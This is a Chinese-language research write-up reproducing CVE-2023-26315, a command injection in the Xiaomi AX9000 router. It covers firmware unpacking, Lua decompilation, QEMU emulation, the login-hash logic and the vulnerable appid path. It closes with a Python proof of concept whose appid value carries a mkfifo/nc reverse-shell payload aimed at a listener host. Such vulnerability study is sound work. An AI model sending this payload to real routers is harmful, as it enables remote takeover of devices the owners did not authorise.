小米AX9000路由器CVE-2023-26315复现 注意,不建议按照本文的环境搭建教程来配置ARM64环境,作者在最后执行poc的时候出现了问题,建议按照ZIKH26师傅的文章来配置环境
点击这里
准备工作 这里直接引用winmt 师傅的原话了
首先,可以从官网下载对应版本的固件:小米路由器AX9000 稳定版 1.0.168
小米的固件最外面用的是UBIFS文件系统,固件本身没有加密,先用binwalk解出一个.ubi文件,然后用ubireader_extract_images xxx.ubi,可以在ubifs-root内解出三个.ubifs文件,对其中的xxx-ubi_rootfs.ubifs用binwalk再解开,即可得到里面的SquashFS文件系统,也就是核心部分。
小米的前端也是用的Lua编写的,但是其中的Lua文件不是源码,而是编译后的二进制文件,所以我们需要对其进行反编译。目前,对Lua反编译的常用工具有unluac 和luadec 。但是小米对Lua的解释器做了魔改,就不能直接用这两个工具进行反编译了,所幸已有师傅对此做了研究,并给出了专门针对小米固件的反编译工具unluac_miwifi 和luadec_miwifi 。至于如何对被魔改的解释器或编译器所编译出来的Lua字节码进行逆向,网上也有不少文章,这里不再展开。
我这里用的是unluac_miwifi,最终可以编译出一个unluac.jar,但一次只能对一个Lua文件进行反编译,所以我们需要写一个批量处理的简单脚本:
1 2 3 4 5 6 7 import osres = os.popen("find ./ -name *.lua" ).readlines() for i in range (0 , len (res)) : path = res[i].strip("\n" ) cmd = "java -jar /home/winmt/unluac_miwifi/build/unluac.jar " + path + " > " + path + ".dis" print (cmd) os.system(cmd)
环境搭建 参考文章 :
(2 封私信) 手把手教你搭建ARM64 QEMU环境 - 知乎
qemu-system-aarch64完整环境搭建 - dblog
奇安信攻防社区-小米AX9000路由器CVE-2023-26315漏洞挖掘
由于没有现成的aarch64的内核镜像和文件系统,所以需要自己编译一个
下载编译内核 从kernel官网 下载内核,我下载的是5.10.245
解压 解压kernel源码,并编译
1 2 3 4 5 tar -xf linux-5.10.245.tar.xz cd linux-5.10.245make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- defconfig make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- Image -j8 make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- modules -j8
使用busybox制作根文件系统 先下载busybox官网上的最新版本源码,并进行解压
1 2 wget https://www.busybox.net/downloads/busybox-1.36.1.tar.bz2 tar -xjf busybox-1.36.1.tar.bz2
设置交叉编译工具链
-> Settings
勾选Build static binary (no shared libs)
同时将 Cross compiler prefix设置为(aarch64-linux-gnu-)
但是不知道为什么编译出来仍然是x64的,而不是aarch64
所以直接在命令行里设置编译器
1 2 3 make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- menuconfig make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- -j8 make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- install
编译好后查看
1 2 ~/Desktop/busybox-1.36.1 » file _install/bin/busybox tao@taotao _install/bin/busybox: ELF 64-bit LSB executable, ARM aarch64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=6d59fc631ba494a850f79846c06ce6d5c0b943a4, for GNU/Linux 3.7.0, stripped
可以看到编译成功
创建文件系统 1 2 3 4 5 6 7 8 mkdir rootfsmkdir -p rootfs/libcd rootfscp -r /usr/aarch64-linux-gnu/lib/ .cp -r busybox-1.36.1/_install/* .mkdir -p etc dev mnt proc sys tmp mnt root etc/init.d/touch etc/initab etc/fstab etc/profile etc/init.d/rcSchmod +x etc/initab etc/init.d/rcS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 echo "=== Boot script start ===" mount -t proc none /proc mount -t sysfs none /sys mount -t tmpfs none /dev mount -t tmpfs none /tmp /bin/mount -a echo /sbin/mdev > /proc/sys/kernel/hotplug/sbin/mdev -s /sbin/ifconfig lo 127.0.0.1 up /sbin/ifconfig eth0 192.168.49.101 netmask 255.255.255.0 up
1 2 3 4 5 6 #fstab #device mount-point type options dump fsck order proc /proc proc defaults 0 0 tmpfs /tmp tmpfs defaults 0 0 sysfs /sys sysfs defaults 0 0 tmpfs /dev tmpfs defaults 0 0
1 2 3 4 5 #initab ::sysinit:/etc/init.d/rcs ::askfirst:-/bin/sh ::restart:/sbin/init ::ctrlaltdel:/sbin/reboot
1 2 3 4 5 6 7 8 9 10 11 12 export HOSTNAME=WSLexport USER=rootexport HOME=rootexport PS1="[$USER @HOSTNAME \W]\# " PATH=/bin:/sbin:/usr/bin:usr/sbin LD_LIBRARY_PATH=/lib:/usr/lib:$LD_LIBRARY_PATH export PATH LD_LIBRARY_PATHmknod dev/console c 5 1mknod dev/tty1 c 4 1mknod dev/null c 1 3
1 find . | cpio -o -H newc |gzip > ../rootfs.cpio.gz
这样,文件系统和内核都创建好了,qemu启动就可以模拟aarch64环境
启动qemu 创建网卡,让qemu使用
1 2 3 sudo ip tuntap add dev tap0 mode tap user $(whoami )sudo ip addr add 192.168.49.1/24 dev tap0sudo ip link set tap0 up
1 2 3 4 5 6 7 8 9 10 qemu-system-aarch64 \ -machine virt,gic-version=3 \ -cpu cortex-a57 \ -m 1024M \ -smp 2 \ -nographic \ -kernel Image \ -initrd rootfs.cpio.gz \ -append "root=/dev/ram console=ttyAMA0 rdinit=/linuxrc" \ -nic tap,ifname=tap0,script=no,downscript=no
chroot隔离环境 1 2 tar -czvf pick.tar squashfs-root python3 -m http.server 7777
1 2 wget 192.168.49.130:7777/pick.tar tar -xzvf pick.tar
把所需文件传到qemu里解压
1 2 3 4 5 cd squashfs-rootmount --bind /proc proc mount --bind /dev dev mount --bind /sys sys busybox chroot . /bin/sh
固件仿真 参考文章
[原创] 小米路由器固件仿真模拟方案-智能设备-看雪论坛-安全社区|非营利性质技术交流社区
小米AX9000路由器CVE-2023-26315漏洞复现 - IOTsec-Zone
通过firmwalker检查一遍固件,可以发现有三个httpd服务uhttpd,mihttpd,sysapihttpd
启动httpd服务 这里直接引用winmt师傅的原话了
根据openwrt的内核初始化流程,按理说应该先启动/etc/preinit,其中会执行/sbin/init进行初始化,但是在这套固件仿真的时候,这样会导致qemu重启,所以我们首先先执行/sbin/init中最重要的/sbin/procd &,启动进程管理器即可。
下面就该启动httpd服务了,简单检索一下,发现有uhttpd,mihttpd,sysapihttpd。进一步查看一下配置文件(如/etc/sysapihttpd/sysapihttpd.conf),发现sysapihttpd其实就是nginx,监听了80端口,有了nginx自然就不需要再启动uhttpd了。而mihttpd中监听了8198端口,定义了一些文件上传下载的API,可以暂时先不启。
1 2 [root@HOSTNAME ] /etc/init.d/sysapihttpd start /etc/rc.common: /lib/functions/procd.sh: line 518: can't create /var/lock/procd_sysapihttpd.lock: nonexistent directory
可以看到报错没有/var/lock/procd_sysapihttpd.lock
1 2 mkdir /var/locktouch /var/lock/procd_sysapihttpd.lock
再次运行可以看到
1 2 3 4 5 6 7 [root@HOSTNAME ]# /etc/init.d/sysapihttpd start /etc/rc.common: /lib/functions/procd.sh: line 518: flock: Permission denied /etc/rc.common: /lib/functions/procd.sh: line 1: flock: Permission denied env_init start fcgi-cgi by spawn-fcgi. start nginx ok. Failed to connect to ubus
缺少flock以及ubus没有运行
1 2 3 4 5 6 7 cat > /bin/flock << 'EOF' shift 2exec "$@ " EOF chmod +x /bin/flock
但是在启动ubusd的时候报错
1 2 3 [root@HOSTNAME ]# argv[0]:/sbin/ubusd,basename :ubusd is ubusd usock: No such file or directory
ida打开观察逻辑,应该是usock要打开/var/run/ubus.sock,但是没有,导致返回值错误,导致了 perror("usock");
1 2 mkdir /var/runtouch /var/run/ubus.sock
1 2 3 4 5 [root@HOSTNAME ]# /sbin/ubusd & [root@HOSTNAME ]# argv[0]:/sbin/ubusd,basename :ubusd is ubusd get new connect accept fd :9 new client id will send hello
之后执行
1 2 3 4 5 6 7 8 9 10 11 12 13 [root@HOSTNAME ]# /etc/init.d/sysapihttpd start env_init start fcgi-cgi by spawn-fcgi. start nginx ok. get new connect accept fd :10 new client id will send hello /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory
winmt:(这里缺失/dev/nvram芯片可以先不用管,因为后续没有用到相关操作,暂时不用hook)
可以看到这些端口都开放了,但是curl却不成功,具体解决方法请看winmt 师傅的分析和解决方法
但是在解决之后发现fcgi-cgi没有启动,导致访问IP的时候不能重定位,排查原因后发现在/etc/init.d/sysapihttpd有
1 procd_set_param command $SPAWN_FCGI -a 127.0.0.1 -p $FCGI_PORT -U nobody -C 0 -F $FCG_PROCESS_NUM -- $FCGI -c 2
会将fcgi-cgi绑定在127.0.0.1,但是因为qemu里这个本地回环ip没有启动,启动一下再重新启动/etc/init.d/sysapihttpd就好了
可以发现访问ip后重定位到了init.html,但是由于仿真环境无法初始化,看一下怎么绕过:
1 2 3 4 5 6 7 8 9 10 11 12 ~/Desktop/IOT/xiaomi/_miwifi_ra70_firmware_cc424_1.0.168.bin.extracted/ubifs-root/2B4.ubi/_img-870537086_vol-ubi_rootfs.ubifs.extracted/squashfs-root » grep -r "init.html" usr/lib/lua/luci/view/web/sysauth.htm: luci.http.redirect("/init.html" ) usr/lib/opkg/info/webpages.list:/www/init.html etc/sysapihttpd/miwifi-webinitrd.conf: rewrite ^(.*)$ http://miwifi.com/init.html? break ; etc/sysapihttpd/miwifi-webinitrd.conf: rewrite ^(.*)$ http://miwifi.com/init.html? break ; etc/sysapihttpd/miwifi-webinitrd.conf: rewrite ^(.*)$ http://miwifi.com/init.html? break ; etc/sysapihttpd/miwifi-webinitrd.conf:location /init.html { etc/sysapihttpd/miwifi-webinitrd-https.conf: rewrite ^(.*)$ http://miwifi.com/init.html? break ; etc/sysapihttpd/miwifi-webinitrd-https.conf: rewrite ^(.*)$ http://miwifi.com/init.html? break ; etc/sysapihttpd/miwifi-webinitrd-https.conf: rewrite ^(.*)$ http://miwifi.com/init.html? break ; etc/sysapihttpd/miwifi-webinitrd-https.conf: location /init.html {
可以发现usr/lib/lua/luci/view/web/sysauth.htm: luci.http.redirect("/init.html")这个地方将请求重定位到了/www/init.html 的静态页面,看一下了附近逻辑
1 2 3 4 5 if not XQSysUtil.getInitInfo() then luci.http.redirect("/init.html") end
根据winmt师傅的分析
只需要改掉检测的标志位,就可以绕过了
1 2 3 4 5 6 7 8 [root@HOSTNAME ]# lua -e "XQSysUtil = require('xiaoqiang.util.XQSysUtil'); print(XQSysUtil.getInitInfo())" false [root@HOSTNAME ]# uci set xiaoqiang.common.INITTED=1 [root@HOSTNAME ]# uci commit [root@HOSTNAME ]# uci show xiaoqiang.common.INITTED xiaoqiang.common.INITTED='1' [root@HOSTNAME ]# lua -e "XQSysUtil = require('xiaoqiang.util.XQSysUtil'); print(XQSysUtil.getInitInfo())" true
然后再次访问页面,访问成功
漏洞分析 授权认证 在反编译的/usr/lib/lua/luci/controller/api/xqdatacenter.lua中,可以看到 URL /api/xqdatacenter/request 相关的handler函数是tunnelRequest函数
创建了/api/xqdatacenter节点,这个访问这个节点的子节点默认需要鉴权,需要经过管理员认证(admin),如果当前token无效,则调用 authenticator.jsonauth() 处理登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 function L0 () local L0, L1, L2, L3, L4, L5, L6 L0 = node L1 = "api" L2 = "xqdatacenter" L0 = L0(L1, L2) L1 = firstchild L1 = L1() L0.target = L1 L0.title = "" L0.order = 300 L0.sysauth = "admin" L0.sysauth_authenticator = "jsonauth" L0.index = true ... L1 = entry L2 = {} L3 = "api" L4 = "xqdatacenter" L5 = "request" L2[1 ] = L3 L2[2 ] = L4 L2[3 ] = L5 L3 = call L4 = "tunnelRequest" L3 = L3(L4) L4 = _ L5 = "" L4 = L4(L5) L5 = 301 L1(L2, L3, L4, L5) ... L1 = entry L2 = {} L3 = "api" L4 = "xqdatacenter" L5 = "upload" L2[1 ] = L3 L2[2 ] = L4 L2[3 ] = L5 L3 = call L4 = "upload" L3 = L3(L4) L4 = _ L5 = "" L4 = L4(L5) L5 = 304 L6 = 16 L1(L2, L3, L4, L5, L6) ... end index = L0
看一下enter函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function L10 (A0, A1, A2, A3, A4) local L5, L6, L7 L5 = node L6 = unpack L7 = A0 L6, L7 = L6(L7) L5 = L5(L6, L7) L5.target = A1 L5.title = A2 L5.order = A3 L5.flag = A4 L6 = getfenv L7 = 2 L6 = L6(L7) L6 = L6._NAME L5.module = L6 return L5 end entry = L10
根据传进来的path参数创建一个节点,并把后面的参数储存在这个节点中,而第五个参数是标志位,决定了访问这个节点需不需要鉴权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 if not L16 then L18 = L7.flag if not L17 then if L17 then L18 = "luci.sauth" L18 = require L19 = "xiaoqiang.util.XQCryptoUtil" L18 = L18(L19) L19 = require L20 = "xiaoqiang.util.XQSysUtil" L19 = L19(L20) L20 = L19.getPassportBindInfo L20 = L20() L21 = type L22 = L7.sysauth_authenticator L21 = L21(L22) if L21 == "function" then L21 = L7.sysauth_authenticator if L21 then goto lbl_427 end end L21 = authenticator L22 = L7.sysauth_authenticator L21 = L21[L22] ::lbl_427:: L22 = type L23 = L7.sysauth L22 = L22(L23) L22 = L22 == "string" and L22 if L22 then L23 = {} L24 = L7.sysauth L23[1 ] = L24 if L23 then goto lbl_444 end end L23 = L7.sysauth ::lbl_444:: L24 = L1.urltoken L24 = L24.stok L25 = L17.read L26 = L24 L25 = L25(L26) L26 = nil if L25 then L27 = L1.urltoken L27 = L27.stok L28 = L25.token if L27 == L28 then L27 = L25.ip if L27 then L27 = L25.ip if L27 then L27 = L25.ip if L27 == L14 then L26 = L25.user end end end end else L27 = _UPVALUE0_ L27 = L27.getenv L28 = "HTTP_AUTH_USER" L27 = L27(L28) L28 = _UPVALUE0_ L28 = L28.getenv L29 = "HTTP_AUTH_PASS" L28 = L28(L29) if L27 and L28 then L29 = luci L29 = L29.sys L29 = L29.user L29 = L29.checkpasswd L30 = L27 L31 = L28 L29 = L29(L30, L31) if L29 then L29 = require L30 = "xiaoqiang.XQLog" L29 = L29(L30) L30 = L29.log L31 = 4 L32 = "Native Luci: HTTP_AUTH_USER & HTTP_AUTH_PASS" L30(L31, L32) end end end L27 = _UPVALUE1_ L27 = L27.contains L28 = L23 L29 = L26 L27 = L27(L28, L29) if not L27 then if L21 then L27 = L1.urltoken L27.stok = nil L27 = L21 L28 = nil L29 = L23 L30 = L22 L27, L28 = L27(L28, L29, L30) if L27 then L29 = _UPVALUE1_ L29 = L29.contains L30 = L23 L31 = L27 L29 = L29(L30, L31) if L29 then goto lbl_523 end end do return end goto lbl_569 ::lbl_523:: L29 = L24 or L29 if not L24 then L29 = luci L29 = L29.sys L29 = L29.uniqueid L30 = 16 L29 = L29(L30) end L30 = L28 or L30 if not L28 then L30 = "2" end L31 = luci L31 = L31.sys L31 = L31.uniqueid L32 = 16 L31 = L31(L32) L32 = L17.reap L32() L32 = L17.write L33 = L31 L34 = {} L34.user = L27 L34.token = L31 L34.ltype = L30 L34.ip = L14 L35 = luci L35 = L35.sys L35 = L35.uniqueid L36 = 16 L35 = L35(L36) L34.secret = L35 L32(L33, L34) L32 = L1.urltoken L32.stok = L31 L1.authsession = L31 L1.authuser = L27 else L27 = luci L27 = L27.http L27 = L27.status L28 = 403 L29 = "Forbidden" L27(L28, L29) return end else L1.authsession = L24 L1.authuser = L26
这一段dispatch应该就是对于不同flag的选择,但是可能因为反编译有点问题,不太好看,如果flag&0x1=1就可以免鉴权,而request节点没有传入flag,所以默认需要鉴权
看一下鉴权函数 authenticator.jsonauth:
首先导入xiaoqiang.util.XQSysUtil,然后获取请求的username,password,nonce,
如果有nonce,则checkNonce,过了的话checkUser,也过了的话通过empower设置授权,然后设置一个Cookie
如果没有nonce,则checkPlaintextPwd,检查明文密码,过了之后empower设置授权,然后设置一个Cookie
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 function L11 (A0, A1, A2) local L3, L4, L5, L6, L7, L8, L9, L10, L11, L12, L13, L14 L3 = require L4 = "xiaoqiang.util.XQSysUtil" L3 = L3(L4) L4 = luci L4 = L4.http L4 = L4.xqformvalue L5 = "username" L4 = L4(L5) L5 = luci L5 = L5.http L5 = L5.xqformvalue L6 = "password" L5 = L5(L6) L6 = luci L6 = L6.http L6 = L6.xqformvalue L7 = "nonce" L6 = L6(L7) if L6 then L7 = _UPVALUE0_ L7 = L7.checkNonce L8 = L6 L9 = getremotemac L9, L10, L11, L12, L13, L14 = L9() L7 = L7(L8, L9, L10, L11, L12, L13, L14) if L7 then L7 = _UPVALUE0_ L7 = L7.checkUser L8 = L4 L9 = L6 L10 = L5 L7 = L7(L8, L9, L10) if L7 then L7 = empower L8 = "1" L9 = "1" L10 = nil L7(L8, L9, L10) L7 = "2" L8 = luci L8 = L8.http L8 = L8.header L9 = "Set-Cookie" L10 = "psp=" L11 = L4 L12 = "|||" L13 = L7 L14 = "|||0;path=/;" L10 = L10 .. L11 .. L12 .. L13 .. L14 L8(L9, L10) L8 = L4 L9 = L7 return L8, L9 else L7 = loginAuthenFailed L7() end else L7 = context L8 = {} L7.path = L8 L7 = luci L7 = L7.http L7 = L7.write L8 = "{\"code\":1582,\"msg\":\"Invalid nonce\"}" L7(L8) L7 = false return L7 end else L7 = _UPVALUE0_ L7 = L7.checkPlaintextPwd L8 = L4 L9 = L5 L7 = L7(L8, L9) if L7 then L7 = empower L8 = "1" L9 = "1" L10 = nil L7(L8, L9, L10) L7 = "2" L8 = luci L8 = L8.http L8 = L8.header L9 = "Set-Cookie" L10 = "psp=" L11 = L4 L12 = "|||" L13 = L7 L14 = "|||0;path=/;" L10 = L10 .. L11 .. L12 .. L13 .. L14 L8(L9, L10) L8 = L4 L9 = L7 return L8, L9 else L7 = context L8 = {} L7.path = L8 L7 = luci L7 = L7.http L7 = L7.write L8 = "{\"code\":401,\"msg\":\"Invalid token\"}" L7(L8) L7 = false return L7 end end L7 = context L8 = {} L7.path = L8 L7 = luci L7 = L7.http L7 = L7.write L8 = "{\"code\":401,\"msg\":\"not auth\"}" L7(L8) L7 = false return L7 end L10.jsonauth = L11 L10 = authenticator
看一下checkUser函数和XQPreference.get函数
``` uci get 配置文件.common.配置项1 2 3 4 5 6 - ``` L3 = luci.model.uci.cursor() -- 创建 UCI 配置游标 L4 = L3.get(A2, "common", A0) -- 获取配置: uci get A2.common.A0 L5 = L4 or A1 -- 如果不存在,使用默认值 A1 return L5 -- 返回配置值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 function L1 (A0, A1, A2) local L3, L4, L5, L6, L7, L8 L3 = require L4 = "luci.model.uci" L3(L4) A2 = A2 or A2 L3 = luci L3 = L3.model L3 = L3.uci L3 = L3.cursor L3 = L3() L5 = L3 L4 = L3.get L6 = A2 L7 = "common" L8 = A0 L4 = L4(L5, L6, L7, L8) L5 = L4 or L5 if not L4 then L5 = A1 end return L5 end get = L1
先获取account.common.(用户名),然后检测是否为空,然后检测nonce是否为空,然后将nonce和account.common.(用户名)拼接起来sha1计算,与传入的passwd进行比较,比较正确,则授权成功,返回
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 function L13 (A0, A1, A2) local L3, L4, L5, L6, L7, L8, L9 L3 = _UPVALUE0_ L3 = L3.get L4 = A0 L5 = nil L6 = "account" L3 = L3(L4, L5, L6) if L3 then L4 = _UPVALUE1_ L4 = L4.isStrNil L5 = A2 L4 = L4(L5) if not L4 then L4 = _UPVALUE1_ L4 = L4.isStrNil L5 = A1 L4 = L4(L5) if not L4 then L4 = _UPVALUE2_ L4 = L4.sha1 L5 = A1 L6 = L3 L5 = L5 .. L6 L4 = L4(L5) if L4 == A2 then L4 = true return L4 end end end end L4 = _UPVALUE3_ L4 = L4.log L5 = 4 L6 = luci L6 = L6.http L6 = L6.getenv L7 = "REMOTE_ADDR" L6 = L6(L7) L6 = L6 or L6 L7 = " Authentication failed" L6 = L6 .. L7 L7 = A1 L8 = L3 L9 = A2 L4(L5, L6, L7, L8, L9) L4 = false return L4 end checkUser = L13
因此,接下来,我们需要确定POST报文中传入的密码和用户名字段是什么。很显然,POST请求报文中的密码字段不可能是明文的形式,不然随便拦截一下就寄了。故而,一定会有相关的JavaScript代码对用户提交的密码进行加密(哈希)后再进行传输。所以,可以直接在浏览器登录页面中,查看一下相关的web代码:
可以看出,报文中的用户名字段固定就是admin,而密码字段是通过oldPwd()函数加密后的结果。这里的oldPwd()函数将用户提交的密码明文与一个固定的key值(a2ffa5c9be07488bbb04a3a47d3c5f6a)拼接后,进行sha1哈希,再将结果继续与现时nonce拼接后,再sha1哈希一次,作为POST请求报文中的密码字段。
所以最后鉴权中比较的两个数据其实就是:
sha1(nonce+account.common.(用户名))
sha1(nonce+sha1(pwd+key))
结合上述分析,我们需要将account.common.admin这个uci配置项设置为sha1(登录密码+key),比如说登录密码设置为taotao,那么这个值就是sha1(taotaoa2ffa5c9be07488bbb04a3a47d3c5f6a)=918408e8e30952499f219c880c07a92701e3a416。
1 2 [root@HOSTNAME ]# uci set account.common.admin=918408e8e30952499f219c880c07a92701e3a416 [root@HOSTNAME ]# uci commit
可以看到输入密码taotao成功登录
二进制分析 看一下request的hadnler函数tunnelRequest
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 function L5 () local L0, L1, L2, L3, L4, L5, L6, L7, L8 L0 = require L1 = "xiaoqiang.util.XQCryptoUtil" L0 = L0(L1) L1 = L0.binaryBase64Enc L2 = _UPVALUE0_ L2 = L2.formvalue_unsafe L3 = "payload" L2, L3, L4, L5, L6, L7, L8 = L2(L3) L1 = L1(L2, L3, L4, L5, L6, L7, L8) L2 = _UPVALUE1_ L2 = L2.THRIFT_TUNNEL_TO_DATACENTER L2 = L2 % L1 L3 = require L4 = "luci.util" L3 = L3(L4) L4 = _UPVALUE0_ L4 = L4.write L5 = L3.exec L6 = L2 L5 = L5(L6) L6 = nil L7 = false L8 = true L4(L5, L6, L7, L8) end tunnelRequest = L5
将payload进行base64加密后,拼接到THRIFT_TUNNEL_TO_DATACENTER字符串后面,并执行exec
在/usr/lib/lua/xiaoqiang/common/XQConfigs.lua中,可以找到THRIFT_TUNNEL_TO_DATACENTER的相关定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 L0 = "thrifttunnel 0 '%s'" THRIFT_TUNNEL_TO_DATACENTER = L0 L0 = "thrifttunnel 1 '%s'" THRIFT_TUNNEL_TO_SMARTHOME = L0 L0 = "thrifttunnel 2 '%s'" THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER = L0 L0 = "thrifttunnel 3 ''" THRIFT_TO_MQTT_IDENTIFY_DEVICE = L0 L0 = "thrifttunnel 4 ''" THRIFT_TO_MQTT_GET_SN = L0 L0 = "thrifttunnel 5 ''" THRIFT_TO_MQTT_GET_DEVICEID = L0 L0 = "thrifttunnel 6 '%s'" THRIFT_TUNNEL_TO_MIIO = L0 L0 = "thrifttunnel 7 '%s'" THRIFT_TUNNEL_TO_YEELINK = L0 L0 = "thrifttunnel 8 '%s'" THRIFT_TUNNEL_TO_CACHECENTER = L0
所以最终所执行的完整命令是thrifttunnel 0 'base64编码的payload字段',即payload字段中被Base64编码后的Json数据会被传入thrifttunnel程序中,且option为0。
看一下thrifttunnel
首先加加密后的数据解密,之后进入case 0,然后
将解密后的字符串decode发送给本地的9090端口
筛选一下程序,可以看到在/usr/sbin/datacenter程序中监听着9090端口
在这个程序接收到这个请求后,会调用DataCenterHandler::request,APIMapping::APIMapping对handlerTable进行了初始化,不同的api与不同的handler函数对应起来,函数APIMapping::redirectRequest会解析用户端发来的请求,根据请求中的api_id执行对应的handler函数
遍历handlerTable找到对应的api,然后调用所对应的handler函数
而漏洞函数在api为629的逻辑中,可以看到对应的函数为callPluginCenter
而callPluginCenter函数中,将json结构体转为字符串储存在v5,然后传给ThriftClient::sCallPluginCenter,结果储存在v6中
然后在ThriftClient::sCallPluginCenter将json传给9091端口,从函数名可以猜测,PluginCenter在检测9091
而PluginCenter程序的结构与/usr/sbin/datacenter程序的处理逻辑基本一样,看一下PluginCenter的hadnlerTable
在datacenter::PluginApiMappingExtendCollection::sConstructMappingTable中可以看到调用了parseGetIdForVendor
在parseGetIdForVendor会取appid的字段转字符串传给getIdForVendor
可以看到会对appid的内容检测,但是检测不通过却没有返回退出,而是仍然向下走,将错误的appid与字符串拼接,传入CommonUtils::sCallSystem,造成了命令注入,至此漏洞分析完成
POC验证 1 2 /usr/sbin/datacenter & /usr/sbin/plugincenter &
启动这两个服务,可以看到9090和9091端口也在监听中了,然后把请求发过去,实现反弹shell
可以看到确实能够实现RCE但是不清楚为什么反弹shell没有成功
poc
1 2 3 4 5 6 7 8 9 10 11 import requests server_ip = "192.168.122.130" client_ip = "192.168.49.130" token = "d3eb9f46fd0a04be4115ffcc49d0536b" nc_shell = ";mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} 5555 >/tmp/f;" .format (client_ip) res = requests.post("http://{}/cgi-bin/luci/;stok={}/api/xqdatacenter/request" .format (server_ip, token), data={'payload' :'{"api":629, "appid":"' + nc_shell + '"}' }) print (res.text)